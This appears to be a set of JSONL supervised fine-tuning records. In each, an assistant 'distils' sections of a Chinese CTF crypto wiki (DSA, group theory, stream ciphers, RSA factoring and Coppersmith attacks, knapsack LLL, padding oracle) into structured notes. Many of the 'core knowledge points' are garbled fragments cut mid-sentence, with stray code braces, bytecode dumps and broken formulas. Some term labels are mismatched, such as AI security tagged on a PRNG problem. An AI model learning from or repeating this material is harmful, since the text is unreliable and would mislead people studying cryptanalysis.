"ctf_score": 22, "ctf_task_type": "crypto", "heading": "数字签名", "heading_path": ["数字签名"], "original_id": "docs-26d22c055e7ef8620890", "original_line": 419, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/introduction.md", "source_root": "docs", "source_sha256": "131bad465157809290218be5e5abfe00567e5847217458495338ee6328fff4c0", "split": "train", "split_group_key": "45058280cb4a253acad5fdc7", "subcategory": "crypto/signature/introduction.md", "terms": ["密码学", "crypto", "signature", "introduction.md"], "title": "数字签名"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e1e74b7ad2114b622169", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/dsa.md` 中的章节「正确性推导」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/dsa.md`\n标题：DSA\n章节：DSA > 基本原理 > 正确性推导\n路径分类：crypto / crypto/signature/dsa.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“正确性推导”展开。\n- 首先，g 满足 $g^k \\equiv 1 \\bmod p$ 的最小正整数k为q。\n- 进而 $v=(g^{u_1}y^{u_2} \\bmod p) \\bmod q=g^{u_1}g^{xu_2} \\equiv g^{H(m)w}g^{xrw} \\equiv g^{H(m)w+xrw}$ 又$s\\equiv (H(m)+xr)k^{-1} \\bmod q$ 且$w=s^{-1} \\bmod q$ 所以 $k \\equiv s^{-1}(H(m)+xr) \\equiv H(m)w+xrw \\bmod q$ 所以$v \\equiv g^k$ 。\n- 所以 $g^q \\equiv 1 \\bmod p$ 。\n- 所以 $g^x \\equiv g^{x \\bmod q} \\bmod p$ 。\n\n关键术语：\n- 密码学\n- crypto\n- signature\n- dsa.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 346, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "正确性推导", "heading_path": ["DSA", "基本原理", "正确性推导"], "original_id": "docs-b36502af458f897025f1", "original_line": 409, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/dsa.md", "source_root": "docs", "source_sha256": "dbc4b1d0f87687fcf070a67258b247ce609a9a9d468798660d4e27911db08f6e", "split": "train", "split_group_key": "c031637454841f0782f4c5e0", "subcategory": "crypto/signature/dsa.md", "terms": ["密码学", "crypto", "signature", "dsa.md"], "title": "DSA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/dsa.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e269ff22466e668a847d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/basic/introduction.md` 中的章节「阶」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/basic/introduction.md`\n标题：基础数学知识\n章节：基础数学知识 > 群 > 阶\n路径分类：crypto / crypto/basic/introduction.md\n分块：1/1\n\n核心知识点：\n- 举例而言，在群 $\\left(\\{1,-1,+\\mathrm{j},-\\mathrm{j}\\},\\times\\right)$ 中，各元素的阶如下： | 元素 | 阶 | |:-:|:-:| | 1 | 1 | | -1 | 2 | | $+\\mathrm{j}$ | 4 | | $-\\mathrm{j}$ | 4 |\n- 指数：仿照数的指数，我们定义群中元素的指数，对于 $v \\in G, m$ 为正整数， $v^0 = e;\n- $ $v^m = v \\circ v \\circ \\cdots \\circ v,$ 其中共有 $m$ 个 $v$ 参与代数运算；\n- * $v^{-m} = \\left(v^{-1}\\right)^m;\n- $ 元素的阶：对于任意给定的元素 $v \\in G,$ 如若正整数 $m$ 满足 $v^m = e,$ 则称元素 $v$ 的阶数为 $m$. 如若这样的正整数不存在，则称该元素的阶为无限。\n\n关键术语：\n- 密码学\n- crypto\n- basic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 414, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "阶", "heading_path": ["基础数学知识", "群", "阶"], "original_id": "docs-8d2870a57a82d4433b91", "original_line": 311, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "source_root": "docs", "source_sha256": "6bd61ccc5c5b508b02ed9bd72f41166b716765584fc608abb06dafa277590d6f", "split": "train", "split_group_key": "d3209890c743abcbe48a07ab", "subcategory": "crypto/basic/introduction.md", "terms": ["密码学", "crypto", "basic", "introduction.md"], "title": "基础数学知识"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e37f2f4ee3f73a07dede", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/intro.md` 中的章节「流密码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/intro.md`\n标题：流密码\n章节：流密码\n路径分类：crypto / crypto/streamcipher/intro.md\n分块：1/1\n\n核心知识点：\n- 流密码加解密非常简单，在已知明文的情况下，可以非常容易地获取密钥流。\n- 一般来说 - 流密码的密钥长度会与明文的长度相同。\n- 流密码的密钥派生自一个较短的密钥，派生算法通常为一个伪随机数生成算法。\n- 伪随机数生成算法生成的序列的随机性越强，明文中的统计特征被覆盖的更好。\n- 一般来说，伪随机数生成器的基本构造模块为反馈移位寄存器。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- intro.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "流密码", "heading_path": ["流密码"], "original_id": "docs-b34a64ccaa5ce97fa6c5", "original_line": 23, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/intro.md", "source_root": "docs", "source_sha256": "e36c117421b2b74d3aa09a75927148ee01164606da5a4a6dc6d06a842aee4809", "split": "train", "split_group_key": "11e7e6fadf85eadf958ddbca", "subcategory": "crypto/streamcipher/intro.md", "terms": ["密码学", "crypto", "streamcipher", "intro.md"], "title": "流密码"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e39c79b9876d0e75a034", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「p + 1 光滑」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > p & q 不当分解 N > p + 1 光滑\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“p + 1 光滑”展开。\n- * 当$p$是$N$的因数，并且$p+1$是光滑数，可以考虑使用Williams's p+1算法来分解$N$\n- $$ p = \\left(\\prod_{i=1}^k{q_i^{\\alpha_i}}\\right)+1 $$\n- $q_i$即第$i$个素因数且有$q_i^{\\alpha_i}\\le B_1$, 找到$\\beta_i$使得让$q_i^{\\beta_i}\\le B_1$且$q_i^{\\beta_i+1}> B_1$，然后令\n- $$ R = \\prod_{i=1}^k{q_i^{\\beta_i}} $$\n- 显然有$p-1\\mid R$且当$(N, a) = 1$时有$a^{p-1}\\equiv 1 \\pmod{p}$，所以有$a^R\\equiv 1\\pmod{p}$，即\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 13 行，首行 `def mlucas(v, a, n):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4495, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "p + 1 光滑", "heading_path": ["模数相关攻击", "p & q 不当分解 N", "p + 1 光滑"], "original_id": "docs-c824d7560ba23f20c881", "original_line": 268, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "c5362a00b7757f4ab9bc26ee", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md", "code:python"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e45ea759b6132d1dd1de", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/problem.md` 中的章节「2017 Tokyo Westerns CTF 3rd Backpacker's Problem」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/problem.md`\n标题：题目\n章节：题目 > 2017 Tokyo Westerns CTF 3rd Backpacker's Problem\n路径分类：crypto / crypto/streamcipher/prng\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“2017 Tokyo Westerns CTF 3rd Backpacker's Problem”展开。\n- } } } } int main() { int n;\n- = 0)) { const int prefix_mask = it->second;\n- ++i) { if (prefix_mask >> i & 1) { ans.push_back(i);\n- ++i) { if (b >> (i - k) & 1) { ans.push_back(i);\n- } `` 单次询问我们已经解决了，使用 pwntools 更方便的为其赋予交互能力。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- streamcipher\n- prng\n- problem.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `单次询问我们已经解决了，使用 pwntools 更方便的为其赋予交互能力。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 581, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2017 Tokyo Westerns CTF 3rd Backpacker's Problem", "heading_path": ["题目", "2017 Tokyo Westerns CTF 3rd Backpacker's Problem"], "original_id": "docs-53bc5f0dae5841d3a896", "original_line": 438, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "source_root": "docs", "source_sha256": "e4aa4fdb1a1dff9b9d8b3195636825f83ad5c8aa8de090445bddb57d5391c978", "split": "train", "split_group_key": "f1c53275099f6d8619a8e452", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "AI安全", "crypto", "streamcipher", "prng", "problem.md"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e7b039bc259c51f43af8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「SCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：f.write(pubkey.exportKey()) > SCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“SCTF RSA1”展开。\n- 然后根据 level1.passwd.enc 可知，应该是我们需要解密这个文件才能得到对应的密码。\n- 这里我们以 SCTF RSA1 为例进行介绍，首先解压压缩包后，得到如下文件 ``shell ➜ level0 git:(master) ✗ ls -al 总用量 4 drwxrwxrwx 1 root root 0 7月 30 16:36 . drwxrwxrwx 1 root root 0 7月 30 16:34 .. -rwxrwxrwx 1 root root 349 5月 2 2016 level1.passwd.enc -rwxrwxrwx 1 root root 2337 5月 6 2016 l...\n\n关键术语：\n- 堆\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 7 行，首行 `➜ level0 git:(master) ✗ ls -al`\n- shell: 33 行，首行 `➜ level0 git:(master) ✗ openssl rsa -pubin -in public.key -text -modulus`\n- plain: 2 行，首行 `p=250527704258269`\n- python: 21 行，首行 `from Crypto.PublicKey import RSA`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4678, "chunk_count": 3, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "SCTF RSA1", "heading_path": ["f.write(pubkey.exportKey())", "SCTF RSA1"], "original_id": "docs-f69f34e2850590584f6a", "original_line": 241, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "74713e25f15b8c8c6cbe5aa5", "subcategory": "crypto/asymmetric/rsa", "terms": ["堆", "密码学", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:shell", "code:python"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e85263c167127367f3df", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「参考资料」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 参考资料\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考资料”展开。\n- 分组加密模式 - https://en.wikipedia.org/wiki/Padding_oracle_attack - http://netifera.com/research/poet/PaddingOraclesEverywhereEkoparty2010.pdf - https://ctftime.org/writeup/7975 - https://ctftime.org/writeup/7974\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 315, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "参考资料", "heading_path": ["Padding Oracle Attack", "参考资料"], "original_id": "docs-d3b53c485ee3c111a20a", "original_line": 350, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "ec69f4da08b1723891f7cb21", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e97da086505a53f5fa67", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/knapsack/knapsack.md` 中的章节「last element is the encoded message」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/knapsack/knapsack.md`\n标题：背包加密\n章节：last element is the encoded message\n路径分类：crypto / crypto/asymmetric/knapsack\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“last element is the encoded message”展开。\n- A[nbit, nbit] = -int(encoded) res = A.LLL() for i in range(0, nbit + 1): # print solution M = res.row(i).list() flag = True for m in M: if m !\n- flag 是 ASIS_9bd3d5fd2422682c19568806a07061ce`。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- knapsack\n- knapsack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `输出之后再解码下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1615, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "last element is the encoded message", "heading_path": ["last element is the encoded message"], "original_id": "docs-d6afd0b7e0c05a89c64a", "original_line": 12, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "source_root": "docs", "source_sha256": "ef7969d8ae8ab48cf14228a46f93cf1b3dc721afca2d9d8cc7eb6c35cbda0dcf", "split": "train", "split_group_key": "ee910cf2363346930d10bbd6", "subcategory": "crypto/asymmetric/knapsack", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "knapsack", "knapsack.md"], "title": "背包加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-edaf4f209cd5f92d799d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/csprng.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/csprng.md`\n标题：密码安全伪随机数生成器\n章节：密码安全伪随机数生成器 > 介绍\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 密码学的很多方面都需要随机数 - 密钥生成 - 生成初始化向量，IV，用于分组密码的 CBC，CFB，OFB 模式 - nounce，用于防止重放攻击以及分组密码的 CTR 模式等、 - one-time pads - 某些签名方案中的盐，如 ECDSA， RSASSA-PSS\n- 它需要满足满足一些必要的特性，以便于适合于密码学应用。\n- 密码学安全伪随机数生成器（cryptographically secure pseudo-random number generator，CSPRNG），也称为密码学伪随机数生成器（cryptographic pseudo-random number generator，CPRNG），是一种特殊的伪随机数生成器。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- streamcipher\n- prng\n- csprng.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 490, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "介绍", "heading_path": ["密码安全伪随机数生成器", "介绍"], "original_id": "docs-e4c11b8ec3537869fddf", "original_line": 431, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/csprng.md", "source_root": "docs", "source_sha256": "9ab8416d449f9f85959dedb105d21a7034542d0b938a54ae7a94c1442ae136b0", "split": "train", "split_group_key": "1c251e9c8819277d24984781", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "漏洞利用", "crypto", "streamcipher", "prng", "csprng.md"], "title": "密码安全伪随机数生成器"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/csprng.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ee68d76df8334e78583d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding.md` 中的章节「填充方式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding.md`\n标题：填充方式\n章节：填充方式\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“填充方式”展开。\n- 正如我们之前所说，在分组加密中，明文的长度往往并不满足要求，需要进行 padding，而如何 padding 目前也已经有了不少的规定。\n- 需要注意的是，即使消息的长度是块大小的整数倍，仍然需要填充。\n- 一般来说，如果在解密之后发现 Padding 不正确，则往往会抛出异常。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- padding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 221, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "填充方式", "heading_path": ["填充方式"], "original_id": "docs-0dd0ed793de289239632", "original_line": 351, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "source_root": "docs", "source_sha256": "5737a702cc4b65ba4cc98ab56a46331ffff5a037b72d573d04fce1782b180597", "split": "train", "split_group_key": "ad68cb9b61231fc0acd4567b", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "padding.md"], "title": "填充方式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ef316325ca2fdfa11b62", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「part 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：part 2\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“part 2”展开。\n- 26 16 STOP_CODE 17 POP_TOP 18 STOP_CODE 19 LOAD_CONST 2 (0) 22 BINARY_DIVIDE 23 STORE_FAST 0 (x) 26 JUMP_FORWARD 0 (to 29) `` 正好是第 25 行和第 26 行，大概猜一猜，感觉两个都是 x=7/0，所以就想办法把这部分的代码修复一下，接下来就是定位这部分代码了。\n- 并且 `python 12800.261+45=379.08000000000004>375.03999999999996=12800.293 ` 所以其实这里就乘了一个数，那么我们其实就可以枚举一下乘了什么，并修改 e1=eppp，其实就回归到标准的 Boneh and Durfee attack。\n- 但是，如果我们直接使用 https://github.com/mimoo/RSA-and-LLL-attacks 的脚本也不行，必须得提高 m，基本得提到 8，这样仍然不是很稳定。\n- 根据手册可以知道 STOP_CODE 是 0，从而我们可以定位第 25 行语句到 26 行语句为 t[6:26]，他们分别都是 10 字节(6-15,16-25)。\n- = 1: continue break zzz = 3 return ( N, e) ` 可以看到生成的 d 是故意超了 0.292 的，不过我们可以发现 ppp 范围很小，实际上我们可以测试得到这个范围的素数为 125 个。\n\n关键术语：\n- 密码学\n- 修复/缓解\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `正好是第 25 行和第 26 行，大概猜一猜，感觉两个都是 x=7/0，所以就想办法把这部分的代码修复一下，接下来就是定位这部分代码了。根据手册可以知道 STOP_CODE 是 0，从而我们可以定位第 25 行语句到 26 行语句为 ...`\n- plain: 1 行，首行 `从而我们可以修复原 code`\n- plain: 1 行，首行 `可以看到生成的 d 是故意超了 0.292 的，不过我们可以发现 ppp 范围很小，实际上我们可以测试得到这个范围的素数为 125 个。并且`\n- plain: 3 行，首行 `所以其实这里就乘了一个数，那么我们其实就可以枚举一下乘了什么，并修改 e1=e*ppp，其实就回归到标准的 Boneh and Durfee attack。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4304, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "part 2", "heading_path": ["part 2"], "original_id": "docs-7a4b59320b4f135676a9", "original_line": 259, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "4655b4cc07bf8384b6636d6b", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "修复/缓解", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
